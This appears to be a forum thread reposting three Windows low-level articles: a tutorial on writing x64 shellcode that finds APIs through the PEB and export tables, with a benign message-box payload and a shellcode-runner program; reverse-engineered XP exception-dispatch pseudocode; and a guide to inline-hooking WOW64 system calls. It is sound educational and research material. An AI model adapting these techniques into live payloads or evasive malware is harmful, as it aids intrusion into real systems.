[...] The interpretation of the values in this array depends on whether the function is forwarded. Export Forwarding is a mechanism by which a DLL can declare that an exported function is actually implemented in a different DLL. If the function is not forwarded, the value is an RVA pointing to the actual function code. If the function is forwarded, the RVA points to an ASCII string giving the target DLL and function name. You can tell in advance if a function is forwarded based on the range of the RVA – the function is forwarded if the RVA falls within the export directory (as given by the VirtualAdress and Size in the IMAGE_DATA_DIRECTORY entry). You can practically see at a glance which RVAs above are in the vicinity of the export directory addresses we’ve been working with. The first element in the array corresponds to our old friend AcquireSRWLockExclusive which we can see is forwarded to another function in NTDLL: 0:001> da @$t0+aa10b 00000000`776fa10b "NTDLL.RtlAcquireSRWLockExclusive" 00000000`776fa12b "" The third array element, on the other hand, is not forwarded and points directly to the executable code of ActivateActCtx: 0:001> u @$t0+44b0 kernel32!ActivateActCtx: 00000000`776544b0 4883ec28 sub rsp,28h 00000000`776544b4 4883f9ff cmp rcx,0FFFFFFFFFFFFFFFFh [...] We now have all of the understanding we need to get the address of a function and it’s just a matter of implementing the above steps in code. The Code Updated 11/10/2011 – thanks to Didier Stevens for pointing out a bug in the error handling. ;shell64.asm ;License: MIT (http://www.opensource.org/licenses/mit-license.php) .code ;note: ExitProcess is forwarded main proc sub rsp, 28h ;reserve stack space for called functions and rsp, 0fffffffffffffff0h ;make sure stack 16-byte aligned lea rdx, loadlib_func lea rcx, kernel32_dll call lookup_api ;get address of LoadLibraryA mov r15, rax ;save for later use with forwarded exports lea rcx, user32_dll call rax ;load user32.dll lea rdx, msgbox_func lea rcx, user32_dll call lookup_api ;get address of MessageBoxA xor r9, r9 ;MB_OK lea r8, title_str ;caption lea rdx, hello_str ;Hello world xor rcx, rcx ;hWnd (NULL) call rax ;display message box lea rdx, exitproc_func lea rcx, kernel32_dll call lookup_api ;get address of ExitProcess xor rcx, rcx ;exit code zero call rax ;exit main endp kernel32_dll db 'KERNEL32.DLL', 0 loadlib_func db 'LoadLibraryA', 0 user32_dll db 'USER32.DLL', 0 msgbox_func db 'MessageBoxA', 0 hello_str db 'Hello world', 0 title_str db 'Message', 0 exitproc_func db 'ExitProcess', 0 ;look up address of function from DLL export table ;rcx=DLL name string, rdx=function name string ;DLL name must be in uppercase ;r15=address of LoadLibraryA (optional, needed if export is forwarded) ;returns address in rax ;returns 0 if DLL not loaded or exported function not found in DLL lookup_api proc sub rsp, 28h ;set up stack frame in case we call loadlibrary start: mov r8, gs:[60h] ;peb mov r8, [r8+18h] ;peb loader data lea r12, [r8+10h] ;InLoadOrderModuleList (list head) - save for later mov r8, [r12] ;follow _LIST_ENTRY->Flink to first item in list cld for_each_dll: ;r8 points to current _ldr_data_table_entry mov rdi, [r8+60h] ;UNICODE_STRING at 58h, actual string buffer at 60h mov rsi, rcx ;pointer to dll we're looking for compare_dll: lodsb ;load character of our dll name string test al, al ;check for null terminator jz found_dll ;if at the end of our string and all matched so far, found it mov ah, [rdi] ;get character of current dll cmp ah, 61h ;lowercase 'a' jl uppercase sub ah, 20h ;convert to uppercase uppercase: cmp ah, al jne wrong_dll ;found a character mismatch - try next dll inc rdi ;skip to next unicode character inc rdi jmp compare_dll ;continue string comparison wrong_dll: mov r8, [r8] ;move to next _list_entry (following Flink pointer) cmp r8, r12 ;see if we're back at the list head (circular list) jne for_each_dll xor rax, rax ;DLL not found jmp done found_dll: mov rbx, [r8+30h] ;get dll base addr - points to DOS "MZ" header mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header add r9, rbx ;add to base - now r9 points to _image_nt_headers64 add r9, 88h ;18h to optional header + 70h to data directories ;r9 now points to _image_data_directory[0] array entry ;which is the export directory mov r13d, [r9] ;get virtual address of export directory test r13, r13 ;if zero, module does not have export table jnz has_exports xor rax, rax ;no exports - function will not be found in dll jmp done has_exports: lea r8, [rbx+r13] ;add dll base to get actual memory address ;r8 points to _image_export_directory structure (see winnt.h) mov r14d, [r9+4] ;get size of export directory add r14, r13 ;add base rva of export directory ;r13 and r14 now contain range of export directory ;will be used later to check if export is forwarded mov ecx, [r8+18h] ;NumberOfNames mov r10d, [r8+20h] ;AddressOfNames (array of RVAs) add r10, rbx ;add dll base dec ecx ;point to last element in array (searching backwards) for_each_func: lea r9, [r10 + 4*rcx] ;get current index in names array mov edi, [r9] ;get RVA of name add rdi, rbx ;add base mov rsi, rdx ;pointer to function we're looking for compare_func: cmpsb jne wrong_func ;function name doesn't match mov al, [rsi] ;current character of our function test al, al ;check for null terminator jz found_func ;if at the end of our string and all matched so far, found it jmp compare_func ;continue string comparison wrong_func: loop for_each_func ;try next function in array xor rax, rax ;function not found in export table jmp done found_func: ;ecx is array index where function name found ;r8 points to _image_export_directory structure mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva) add r9, rbx ;add dll base address mov cx, [r9+2*rcx] ;get ordinal value from array of words mov r9d, [r8+1ch] ;AddressOfFunctions (rva) add r9, rbx ;add dll base address mov eax, [r9+rcx*4] ;Get RVA of function using index cmp rax, r13 ;see if func rva falls within range of export dir jl not_forwarded cmp rax, r14 ;if r13 <= func < r14 then forwarded jae not_forwarded ;forwarded function address points to a string of the form <DLL name>.<function> ;note: dll name will be in uppercase ;extract the DLL name and add ".DLL" lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name lea rdi, [rsp+30h] ;using register storage space on stack as a work area mov r12, rdi ;save pointer to beginning of string copy_dll_name: movsb cmp byte ptr [rsi], 2eh ;check for '.' (period) character jne copy_dll_name movsb ;also copy period mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack call r15 ;call LoadLibraryA with target dll mov rcx, r12 ;target dll name mov rdx, rsi ;target function name jmp start ;start over with new parameters not_forwarded: add rax, rbx ;add base addr to rva to get function address done: add rsp, 28h ;clean up stack ret lookup_api endp end Building In the past I had developed 32-bit shellcode using the free and open-source Netwide Assembler (NASM), but when going through the exercise of learning the 64-bit variety I figured I would try it out with the Microsoft Assembler (MASM) instead. One problem quickly became apparent: MASM offers no way (that I know of) to generate raw binary machine code as opposed to an .exe file! All is not lost though, the code bytes can be extracted from the .exe file easily enough (but in the future I might go back to NASM). First build a regular executable (note that no /defaultlib arguments are required – this code does not directly import any functions from DLLs because it looks them up itself): ml64 shell64.asm /link /entry:main Then use dumpbin to display the section headers, and take note of the virtual size and file pointer to raw data for the .text section: dumpbin /headers shell64.exe SECTION HEADER #1 .text name 1B2 virtual size 1000 virtual address (0000000140001000 to 00000001400011B1) 200 size of raw data 200 file pointer to raw data (00000200 to 000003FF) [...] Converting these numbers to decimal, this means we need to extract 434 (0x1b2) bytes beginning at offset 512 (0x200) in the file. This can be done with a hex editor, or with the following command if you have a Windows version of dd laying around (I’m using Cygwin): dd if=shell64.exe of=shell64.bin bs=1 count=434 skip=512 Now we have a file shell64.bin containing our shellcode. I like to open it in IDA Pro the first time and make sure it looks right. Testing The following test program simply loads data from a file into memory and then transfers execution to it. It supports an optional argument -d which will insert a debugger breakpoint prior to calling the shellcode. All of the error-handling code is long and tedious, yes, but debugging shellcode can be difficult enough without having to worry about whether the test program is working correctly. There is also a free tool called testival available for testing shellcode, which supposedly has some nice features but I have not personally tried it. Note the call to VirtualProtect() to enable execute permission on the allocated memory. This is necessary because the process heap memory is non-executable by default on 64-bit Windows. This is called Data Execution Prevention (DEP) and was designed specifically as a security measure. Without the VirtualProtect() call, the program will crash with an Access Violation on the first instruction of the shellcode (debugging note: the !vprot command in WinDbg can be used to display the memory permissions for a given address). Bypassing DEP involves a technique called Return-Oriented Programming (ROP) which is beyond the scope of this article (see mitigations section at the end). Also note the use of compiler intrinsics to insert the debugger breakpoint. Inline assembly language is not allowed by the x64 Visual C++ compiler, so we can no longer write __asm int 3 to trigger a debugger as in x86 and must use the __debugbreak() macro instead (it produces the same int 3 opcode). Take a look through intrin.h – there are numerous such macros available. //runbin.c #include <windows.h> #include <stdio.h> #include <io.h> #include <stdlib.h> #include <malloc.h> #include <fcntl.h> #include <intrin.h> typedef void (*FUNCPTR)(); int main(int argc, char **argv) { FUNCPTR func; void *buf; int fd, len; int debug; char *filename; DWORD oldProtect; if (argc == 3 && strlen(argv[1]) == 2 && strncmp(argv[1], "-d", 2) == 0) { debug = 1; filename = argv[2]; } else if (argc == 2) { debug = 0; filename = argv[1]; } else { fprintf(stderr, "usage: runbin [-d] <filename>\n"); fprintf(stderr, " -d insert debugger breakpoint\n"); return 1; } fd = _open(filename, _O_RDONLY | _O_BINARY); if (-1 == fd) { perror("Error opening file"); return 1; } len = _filelength(fd); if (-1 == len) { perror("Error getting file size"); return 1; } buf = malloc(len); if (NULL == buf) { perror("Error allocating memory"); return 1; } if (0 == VirtualProtect(buf, len, PAGE_EXECUTE_READWRITE, &oldProtect)) { fprintf(stderr, "Error setting memory executable: error code %d\n", GetLastError()); return 1; } if (len != _read(fd, buf, len)) { perror("error reading from file"); return 1; } func = (FUNCPTR)buf; if (debug) { __debugbreak(); } func(); return 0; } Build the test program with: cl runbin.c Then test the shellcode as follows: runbin shell64.bin If all goes well the message box should be seen: If you want to step through it in a debugger, add the –d option: runbin –d shell64.bin For this to work, a Just-In-Time (JIT) debugger (also known as postmortem debugger) must be configured on the system. To enable WinDbg as the JIT debugger, run windbg –I from the command line. For more information see Configuring Automatic Debugging. Comments This shellcode was written from scratch with the goal of making it easy to understand (as much as shellcode can be anyway) and to demonstrate how everything works. It is not the smallest or most optimized code possible. There are many other published shellcode examples out there, and the Metasploit source code is particularly worth a look (the path is /external/source/shellcode/windows/x64/src/). Most shellcode does not handle forwarded exports as in this example, because it bloats and complicates the code and can be worked around by determining in advance if the function is forwarded and just writing your code to call the ultimate target instead. (The only catch is that whether an export is forwarded can change between operating system versions or even service packs, so supporting forwarded exports does in fact make the shellcode more portable.) A common variation on the technique for locating a function is to iterate through the export table computing a “hash” of each function name, and then comparing it to a pre-computed hash value of the name of the function we’re interested in. This has the advantage of making the shellcode smaller, particularly if it uses many API functions with lengthy names, as the code only needs to contain short hash values rather than full strings like “ExitProcess”. The technique also serves to obscure which functions are being called and has even been used by stand-alone malicious executables for this purpose. Metasploit goes even further and computes a single hash that covers both the function name and DLL name. It is also common practice to “encrypt” or “encode” the shellcode (typically with just a simple XOR type of algorithm rather than true strong encryption), for the purpose of obfuscation and/or avoiding particular byte values in the code (such as zeroes) that could prevent an exploit from working. The encrypted code is then prepended with a “decoder” stub that decrypts and executes the main code. Most shellcode does not bother with the error handling I put in place to return zero if the DLL or function cannot be found, again because it makes the code larger and is not necessary once everything is tested. The lookup_api function does not entirely behave itself according to the x64 calling conventions – in particular it does not bother to save and restore all of the registers that are deemed non-volatile. (A function is allowed to modify rax, rcx, rdx, r8, r9, r10, and r11, but should preserve the values of all others). It also makes an assumption that r15 will point to LoadLibraryA if needed for forwarded functions. Metasploit and others use NASM instead of MASM as the assembler (probably a good call given the aforementioned limitation of MASM for outputting raw binary, also NASM is open source and runs on Linux and other platforms). Metasploit uses decimal numbers for the various offsets into the data structures whereas I prefer hex (“You might be a geek if…”). Mitigations Unfortunately for exploit developers and fortunately for PC users, the latest versions of Windows employ a variety of effective exploit mitigation technologies. None of these features truly eliminate vulnerabilities but they can make it significantly more difficult to execute arbitrary code via an exploit as opposed to simply crashing the program. For more information on many of these mitigations and techniques for bypassing them, the Corelan exploit writing tutorials are excellent (32-bit centric but still mostly applicable to x64). Data Execution Prevention (DEP) – This was discussed earlier regarding the VirtualProtect() call in the test program. By default the stack and heap are configured to use non-executable memory pages which trigger an Access Violation if code attempts to execute there. DEP can be bypassed using Return-Oriented Programming (ROP), where snippets of existing executable code on the system are executed in sequence to accomplish a particular task. Address Space Layout Randomization (ASLR) – Rather than loading DLLs and EXEs at constant base addresses, the operating system randomly varies the load address (at least across reboots, not necessarily between every invocation of a program). ASLR does not prevent shellcode from executing (this example code runs just fine with it), but it makes it more difficult to transfer execution to the shellcode in the first place. It also makes bypassing DEP using ROP much more difficult. There are several approaches to bypassing ASLR, including the use of a secondary information-disclosure vulnerability to obtain the base address of a module. Stack cookies – Compiler-generated code is inserted before and after functions to detect if the return address on the stack has been overwritten, making it more difficult to exploit stack-based buffer overflow vulnerabilities. Structured Exception Handler (SEH) overwrite protection – this is not applicable to x64 because exception handlers are not stored on the stack. Export Address Table Filtering (EAF) – This is a new option released as part of the Enhanced Mitigation Experience Toolkit (EMET) in November 2010. It is designed to block shellcode from looking up API addresses by accessing DLL export tables, and works by setting a hardware breakpoint on memory access to certain data structures. Microsoft acknowledges that it can be easily bypassed but argues that it will break almost all shellcode currently in use today, and that EMET can be updated in response to new attack techniques at much more frequent intervals than new releases of Windows are possible. See this article on bypassing EAF for details. Sursa: http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
  13. Exception handling routines (ntdll) /* * exception handling routines (xp 32-bit, partial/incomplete) * * ntdll 5.1.2600.5755 * v2 (updated jan 2011) * * - hawkes <hawkes@sota.gen.nz> * * useful link: http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html * */ #define DISPOSITION_DISMISS 0 #define DISPOSITION_CONTINUE_SEARCH 1 #define DISPOSITION_NESTED_EXCEPTION 2 #define DISPOSITION_COLLIDED_UNWIND 3 #define EH_NONCONTINUABLE 0x01 #define EH_UNWINDING 0x02 #define EH_EXIT_UNWIND 0x04 #define EH_STACK_INVALID 0x08 #define EH_NESTED_CALL 0x10 #define STATUS_NONCONTINUABLE_EXCEPTION 0xC0000025 #define STATUS_INVALID_DISPOSITION 0xC0000026 #define EXCEPTION_CONTINUE_EXECUTION -1 #define PAGE_EXEC_MASK (PAGE_EXECUTE|PAGE_EXECUTE_READ|PAGE_EXECUTE_READWRITE|PAGE_EXECUTE_WRITECOPY) typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; DWORD ExceptionFlags; struct _EXCEPTION_RECORD *ExceptionRecord; // var_CW PVOID ExceptionAddress; DWORD NumberParameters; ULONG_PTR ExceptionInformation[15]; } EXCEPTION_RECORD, *PEXCEPTION_RECORD; typedef struct _EXCEPTION_REGISTRATION { struct _EXCEPTION_REGISTRATION* prev; PEXCEPTION_HANDLER handler; } EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION; typedef struct _VECTORED_EXCEPTION_NODE { LIST_ENTRY ListEntry; PVECTORED_EXCEPTION_HANDLER handler; } VECTORED_EXCEPTION_NODE, *PVECTORED_EXCEPTION_NODE; typedef enum _EXCEPTION_DISPOSITION { ExceptionContinueExecution, ExceptionContinueSearch, ExceptionNestedException, ExceptionCollidedUnwind } EXCEPTION_DISPOSITION; /* 7C97E3FA */ UCHAR LogExceptions = 0; /* 7C97E3C0 */ LIST_ENTRY RtlpCalloutEntryList; /* 7C9805E0 */ RTL_CRITICAL_SECTION RtlpCalloutEntryLock; RTL_CRITICAL_SECTION LdrpLoaderLock; /* 7C90E47C */ VOID KiUserExceptionDispatcher(__in PCONTEXT ContextRecord, __in PEXCEPTION_RECORD ExceptionRecord) { NTSTATUS Status; if (RtlDispatchException(ContextRecord, ExceptionRecord)) { /* 7C90E48E modify the execution context of the current thread to whatever the chosen exception handler gives us */ Status = ZwContinue(ContextRecord, 0); } else { /* 7C90E49A no exception handler found so re-raise the exception for a debugger or the NT exception handler */ Status = ZwRaiseException(ExceptionRecord, ContextRecord, 0); } /* 7C90E4A5 build an exception record with 20 bytes on the stack, second chance exception? */ PEXCEPTION_RECORD exception = (PEXCEPTION_RECORD) alloca(0x14); exception->ExceptionCode = Status; exception->ExceptionFlags = 1; exception->ExceptionRecord = ContextRecord; exception->NumberParameters = 1; return RtlRaiseException(exception); } /* 7C92A970 returns true if exception handler was found and used */ BOOLEAN RtlDispatchException(PCONTEXT ContextRecord, PEXCEPTION_RECORD ExceptionRecord) { BOOLEAN ret = 0; LPVOID StackBase, StackLimit; PEXCEPTION_REGISTRATION head; DWORD kProcess_Flags; DWORD dispatch, highest; EXCEPTION_RECORD exRec; if (RtlCallVectoredExceptionHandlers(ExceptionRecord, ContextRecord)) { /* 7C95010A */ ret = 1; } else { /* 7C92A991 */ RtlpGetStackLimits(&StackLimit, &StackBase); /* 7C92A99F */ head = RtlpGetRegistrationHead(); highest = 0; while (head != (PEXCEPTION_REGISTRATION) -1) { /* 7C92A9B4 */ if (head < StackLimit || head + sizeof(EXCEPTION_REGISTRATION) > StackBase || head & 3) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } if (head->handler >= StackLimit && head->handler < StackBase) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } /* 7C92A9E3 */ if (!RtlIsValidHandler(head->handler)) { /* 7C92A336 */ ExceptionRecord->ExceptionFlags |= EH_STACK_INVALID; goto exit; } else if (LogExceptions) { /* 7C950113 */ RtlpLogExceptionHandler(ContextRecord, ExceptionRecord, 0, head, 0x10); } /* 7C92A9FE */ hret = RtlpExecuteHandlerForException(ContextRecord, head, ExceptionRecord, &dispatch, head->handler); if (LogExceptions) { /* 7C950129 there is a second parameter to this function that I don't understand yet */ RtlpLogLastExceptionDisposition(highest, hret); } /* 7C92AA1E */ if (head == NULL) { ExceptionRecord->ExceptionFlags &= ~EH_NESTED_CALL; } /* 7C92AA27 */ if (hret == DISPOSITION_DISMISS) { if (ExceptionRecord->ExceptionFlags & EH_NONCONTINUABLE) { /* 7C950181 */ exRec.ExceptionCode = STATUS_NONCONTINUABLE_EXCEPTION; exRec.ExceptionFlags = EH_NONCONTINUABLE; exRec.ExceptionRecord = ExceptionRecord; exRec.NumberParameters = 0; RtlRaiseException(&exRec); /* 7C92A31C a little fudging with this block */ if (ExceptionRecord->ExceptionFlags & EH_STACK_INVALID) { goto exit; } } else { /* 77EDBD64 */ ret = 1; break; } } else if (hret == DISPOSITION_CONTINUE_SEARCH) { /* 7C92A31C a little fudging with this block */ if (ExceptionRecord->ExceptionFlags & EH_STACK_INVALID) { goto exit; } } else if (hret == DISPOSITION_NESTED_EXCEPTION) { /* 7C950169 */ ExceptionRecord->ExceptionFlags |= EH_NESTED_CALL; if (dispatch > highest) { highest = dispatch; } } else { /* 7C950147 */ exRec.ExceptionCode = STATUS_INVALID_DISPOSITION; exRec.ExceptionFlags = EH_NONCONTINUABLE; exRec.ExceptionRecord = ExceptionRecord; exRec.NumberParameters = 0; RtlRaiseException(&exRec); } /* 7C92A326 */ head = head->prev; } } exit: /* 7C92AA43 */ return ret; } /* 7C92A934 */ BOOLEAN RtlCallVectoredExceptionHandlers(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord) { BOOLEAN ret = FALSE; struct { PEXCEPTION_RECORD eRec; PCONTEXT cRec; } Rec; PVECTORED_EXCEPTION_NODE veh; PVECTORED_EXCEPTION_HANDLER handler; DWORD disposition if (RtlpCalloutEntryList.Flink == &RtlpCalloutEntryList) { return FALSE; } eRec = ExceptionRecord; cRec = ExceptionRecord; RtlEnterCriticalSection(&RtlpCalloutEntryLock); for (veh = (PVECTORED_EXCEPTION_NODE) RtlpCalloutEntryList.Flink); veh != (PVECTORED_EXCEPTION_NODE) RtlpCalloutEntryList; veh = (PVECTORED_EXCEPTION_NODE) veh->ListEntry.Flink) { handler = RtlDecodePointer(veh->handler); disposition = handler(&Rec); if (disposition == EXCEPTION_CONTINUE_EXECUTION) { ret = 1; break; } } RtlLeaveCriticalSection(&RtlpCalloutEntryLock); return ret; } /* 7C9033DC */ VOID RtlpGetStackLimits(LPVOID **StackLimit, LPVOID **StackBase) { PTEB teb = _TEB; // fs:18h *StackLimit = teb->NtTib->StackLimit; *StackBase = teb->NtTib->StackBase; return; } /* 7C92AA50 */ BOOLEAN RtlIsValidHandler(PEXCEPTION_HANDLER handler) { DWORD table_sz; LPVOID safeseh_table, base_addr; DWORD ret, result_len, exec_flags, high, low; MEMORY_BASIC_INFORMATION mbi; safeseh_table = RtlLookupFunctionTable(handler, &base_addr, &table_sz); if (safeseh_table == NULL || table_sz == 0) { /* 7C9500D1 ProcessExecuteFlags*/ if (ZwQueryInformationProcess(INVALID_HANDLE_VALUE, 22, &exec_flags, 4, NULL) >= 0) { /* 7C92CF94 0x10 = ExecuteDispatchEnable */ if (!(exec_flags & 0x10)) { return 1; } } /* 7C935E8E */ if (NtQueryVirtualMemory(INVALID_HANDLE_VALUE, handler, NULL, &mbi, sizeof(MEMORY_BASIC_INFORMATION), &result_len) < 0) { return 1; } /* 7C935EA9 */ if (!(mbi.Protect & PAGE_EXEC_MASK)) { RtlInvalidHandlerDetected(handler, -1, -1); return 0; } else if (mbi.Type != SEC_IMAGE) { return 1; } RtlCaptureImageExceptionValues(mbi.AllocationBase, &safeseh_table, &table_sz); /* 7C935ED0 */ if (var_10 == NULL || table_sz == 0) { return 1; } return 0; } else if (safeseh_table == (LPVOID) -1 && table_sz == -1) { return 0; } /* 7C9500A6 */ if (table_sz < 0) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } rel_addr = handler - base_addr; high = table_sz; low = 0; /* 7C9500B1 binary search through SafeSEH table */ do { idx = (high + low) / 2; if (rel_addr < safeseh_table[idx]) { if (idx == 0) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } high = idx - 1; if (high < low) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } } else if (rel_addr > safeseh_table[idx]) { low = idx + 1; if (high < low) { RtlInvalidHandlerDetected(handler, safeseh_table, table_sz); return 0; } } else { break; } } while(1); return 1; } /* 7C92AAA4 */ LPVOID RtlLookupFunctionTable(PEXCEPTION_HANDLER handler, DWORD *base_addr, DWORD *table_sz) { MEMORY_BASIC_INFORMATION mbi; LPVOID safeseh_table, base; if (LdrpInLdrInit && RtlTryEnterCriticalSection(&LdrpLoaderLock) == 0) { /* 7C92DD29 3 = MemoryBasicVlmInformation */ if (NtQueryVirtualMemory((HANDLE) -1, handler, 3, &mbi, sizeof(MEMORY_BASIC_INFORMATION), NULL) < 0) { return NULL; } else if (mbi.Type != SEC_IMAGE) { return NULL; } base = mbi.BaseAddress; /* 7C92DD51 */ RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); } else { if (_TEB != NULL) { /* 7C92AAD9 */ PLDR_MODULE node = _PEB->Ldr->InLoadOrderModuleList.Flink if (_PEB->Ldr != 0 && node != NULL) { while (node != &_PEB->Ldr->InLoadOrderModuleList) { /* 7C92AB00 */ if (handler < node->BaseAddr) { node = node->InLoadOrderModuleList.Flink; continue; } if (handler >= node->BaseAddr + node->SizeOfImage) { node = node->InLoadOrderModuleList.Flink; continue; } /* 7C92AB14 */ base = node->BaseAddr; RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); if (safeseh_table == NULL && NtDllBase != NULL && (base = RtlNtImageHeader(NtDllBase)) != NULL) { if (header > base && header < base + ((PIMAGE_NT_HEADER) base)->OptionalHeaders.SizeOfImage) { /* 7C950D7D */ RtlCaptureImageExceptionValues(base, &safeseh_table, table_sz); } } break; } } } /* 7C92AB2C */ if (LdrpInLdrInit) { RtlLeaveCriticalSection(&LdrpLoaderLock); } } *base_addr = base; return safeseh_table; } Vectored exception handling: typedef struct _LdrpVectorHandlerList { struct _LdrpVectorHandlerList *Prev; struct _LdrpVectorHandlerList *Next; DWORD Depth; PVECTORED_EXCEPTION_HANDLER VectoredHandler; } VECTORED_HANDLER_LIST, *PVECTORED_HANDLER_LIST; VECTORED_HANDLER_LIST LdrpVectorHandlerList[2]; BOOLEAN RtlpCallVectoredHandlers(PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextRecord, BOOL flag) { BOOLEAN ret; DWORD hret; PVECTORED_HANDLER_LIST freeList, head, next; PTEB teb = _TEB; // fs:18h PPEB peb = teb->ProcessEnvironmentBlock; // teb:30h ret = 0; head = &LdrpVectorHandlerList[flag]; /* there are two possible bit flags with CrossProcessFlags that it checks here flag = 0 corresponds to ProcessUsingVEH flag = 1 corresponds to ProcessUsingVCH */ if (peb->CrossProcessFlags & (1 << (flag + 2)) { freeList = NULL; /* get a slim reader/writer lock on the vectorhandlerlist */ RtlAcquireSRWLockExclusive(head); next = head->Next; while (next != head) { next->Depth++; RtlReleaseSRWLockExclusive(head); handler = RtlDecodePointer(next->VectoredHandler); hret = handler(ExceptionRecord); RtlAcquireSRWLockExclusive(head); next->Depth--; if (next->Depth == 0) { next->Next->Prev = next->Prev; next->Prev->Next = next->Next; if (next->Prev == next->Next) { /* this is actuall an atomic bit reset (lock btr) instruction * basically they are clearing either the ProcessUsingVEH or ProcessUsingVCH flags * when the list becomes empty */ peb->CrossProcessFlags &= ~(1 << (flag + 2)); } next->Prev = freeList; freeList = next; } next = next->Prev; if (hret == EXCEPTION_CONTINUE_EXECUTION) { ret = 1; break; } } RtlReleaseSRWLockExclusive(head); while (freeList) { LPVOID p = freeList; freeList = freeList->Prev; RtlFreeHeap(peb->ProcessHeap, 0, p); } } return ret; } Probabil reverse engineering (pe XP) la aceste functii, in cel mai rau caz o implementare particulara.
  14. Hooking 32bit System Calls under WOW64 2011-05-16 16:47:49 Author: Georg Wicherski is a x86 Assembly writer and reverse engineer, computer science undergraduate student at RWTH Aachen University and occasional exploit developer. This page consists of his recent updates on his several topics of interest. You might also want to check out his public projects. While hooking code in userland seems to be fairly common for various purposes (such as sandboxing malware by API hooking), hooking system calls is usually not done in userland. As you can get the same information from employing such hooks in kernelland (just after the transition), people usually choose to deploy their hooks there, since they benefit from added security and stability if implemented properly. That being said, there is one application of system call hooking that rightfully belongs into userland: Hooking of 32bit system calls on a native 64bit environment. WOW64 is the emulation / abstraction layer introduced in 64bit Windows to support 32bit applications. There are many details about it that I don't want to cover. However for various reasons (I'll leave it to your creativity to find your own; I found a good one playing together with Tillmann Werner), one might be interested in hooking the 32bit system calls that are issued by a 32bit application running in such an environment. On 32bit Windows XP, there used to be a function pointer within the KUSER_SHARED_DATA page at offset 0x300 that pointed to the symbol ntdll!KiFastSystemCall for any modern machine and was used in any system call wrapper in ntdll to issue a system call: 0:001> u poi(0x7ffe0000+0x300) ntdll!KiFastSystemCall: 7c90e510 8bd4 mov edx,esp 7c90e512 0f34 sysenter ntdll!KiFastSystemCallRet: 7c90e514 c3 ret 7c90e515 8da42400000000 lea esp,[esp] 7c90e51c 8d642400 lea esp,[esp] ntdll!KiIntSystemCall: 7c90e520 8d542408 lea edx,[esp+8] 7c90e524 cd2e int 2Eh 7c90e526 c3 ret Hooking this would not make much sense, since one could gather the same data just right after the sysenter within kernelland. Now fast forward to Windows 7, 64bit with a 32bit process running on WOW64. For the following, I will use the 64bit WinDbg version. On this newer environment, the code executed by a system call wrapper, such as ntdll!ZwCreateFile in this example, does not take any indirection through KUSER_SHARED_DATA. Instead, it calls a function pointer within the TEB: 0:000:x86> u ntdll32!ZwCreateFile ntdll32!ZwCreateFile: 77a80054 b852000000 mov eax,52h 77a80059 33c9 xor ecx,ecx 77a8005b 8d542404 lea edx,[esp+4] 77a8005f 64ff15c0000000 call dword ptr fs:[0C0h] 77a80066 83c404 add esp,4 77a80069 c22c00 ret 2Ch This new field is called WOW32Reserved and points into wow64cpu: +0x0c0 WOW32Reserved : 0x743b2320 0:000:x86> u 743b2320 L1 wow64cpu!X86SwitchTo64BitMode: 743b2320 ea1e273b743300 jmp 0033:743B271E This is in turn a far jmp into the 64bit code segment. The absolute address points into the 64bit part of wow64cpu and sets up the 64bit stack first: 0:000> u 743B271E wow64cpu!CpupReturnFromSimulatedCode: 00000000`743b271e 67448b0424 mov r8d,dword ptr [esp] 00000000`743b2723 458985bc000000 mov dword ptr [r13+0BCh],r8d 00000000`743b272a 4189a5c8000000 mov dword ptr [r13+0C8h],esp 00000000`743b2731 498ba42480140000 mov rsp,qword ptr [r12+1480h] Following this, the code will convert the system call specific parameters and convert them to their 64bit equivalents. The code than transitions to the original kernel code. So the only way to grab the unmodified 32bit system calls (and parameters), before any conversion is being done, is to hook this code. My first idea was to hijack the writable function pointer inside the TEB, but that involves the inconvenience that I need to track threads and modify it for every new thread. Since this function pointer always points to the same location, I decided to go for an inline function hook. In this case, the hook is very simple, since I know that there will be one long enough instruction with fixed length operands. However, we have to take into account SMP systems that might be decoding this instruction while we're writing there, so it is desirable to use a locked write. Unfortunately, there is not enough room around the instruction to write the hook there and overwrite the original instruction with a near jmp (two bytes, can be written atomically with mov if the address is word-aligned or xchg in the general case). Hence we need to write our five bytes with one single locked write. There is (at least?) one instruction on x86 in 32bit mode which can do that: cmpxchg8b. Reading the processor manual, it gets obvious that we can abuse this to do an unconditional write if we just execute two subsequent cmpxchg8b in a row (assuming that no one else is writing there concurrently): [update: As @ange4771 correctly pointed out, cmpxchg8b requires a lock prefix to be atomic] asm("lock cmpxchg8b (%6)\n\tlock cmpxchg8b (%6)" : "=a" (* (DWORD *) origTrampoline), "=d" (* (DWORD *) &origTrampoline;[4]) : "a" (* (DWORD *) trampoline), "d" (* (DWORD *) &trampoline;[4]), "b" (* (DWORD *) trampoline), "c" (* (DWORD *) &trampoline;[4]), "D" (fnX86SwitchTo64BitMode)); One can read out the original jump destination in between those two instructions from edx:eax to hotpatch your hook before it is eventually inserted. This is especially useful when a debugger is attached, as single-stepping results in the syscall trampoline being silently executed (this is great for debugger detection). The hook can then just end in the same jmp far 0x33:?? that was present at X86SwitchTo64BitMode, one just needs to preserve esp and eax. Happy hooking! Sursa: Hooking 32bit System Calls under WOW64
